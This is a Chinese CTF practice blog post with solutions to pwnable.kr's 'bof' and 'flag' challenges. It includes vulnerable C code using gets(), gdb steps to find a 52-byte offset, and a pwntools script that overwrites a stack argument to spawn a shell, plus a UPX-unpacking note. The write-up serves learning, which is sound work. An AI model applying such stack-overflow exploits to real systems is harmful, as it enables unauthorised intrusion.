pwn 练习笔记 暑假的第一天

pwnable  bof

源码如下

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);    // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;

}

看源码意思就是要比较key与0xcafebabe,然而在main中调用func时传入的参数是0xdeadbeef,目标就是覆盖0xdeadbeef为0xcafebabe,通过比较得到flag。gets使我们有可控输入,使用gdb查看0xdeadbeef与我们要输入的字符串之间的距离,然后覆盖。

使用checksec查看bof之后,发现

栈溢出保护,不可执行保护,地址随机保护,都有。一个菜鸡不知道怎么办,看了大佬的博客。然后发现没有任何一个地方提及,未解之谜从假期的第一天开始。

gdb打开调试,在main函数下断(b main)

然后run

在main函数停下,ni到 call func然后si进call

进到func函数之后,ni一直到call get,

然后x/40xw $esp,查看一下栈情况

我们输入的字符串从0xffffd21c开始。0xdeadbeef在0xffffd250之后,所以0xffffd250-0xffffd21c=52,我们需要覆盖52个字节

payload='a'*52 +p32(0xcafebabe)

脚本为下:

from pwn import *
sh = remote('pwnable.kr',9000)

key = 0xcafebabe
payload = 'A'*52 + p32(key)

sh.sendline(payload)

sh.interactive()

pwnable  flag

看见题的当时是蒙的,ida打开看发现有点诡异,看了别人的博客发现是upx压缩啦

upx -d flag -o flag1    解压之后,ida再打开看,看见flag这个变量,双击过去看,看到了给flag赋值,拿到flag

这个题的考点有点迷,

碎碎念
被期末考打断了之前的学习节奏,这让我很难受。所以今天练习点基础题找一下感觉,今日份的练习结束,开始复习(o(╥﹏╥)o)


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值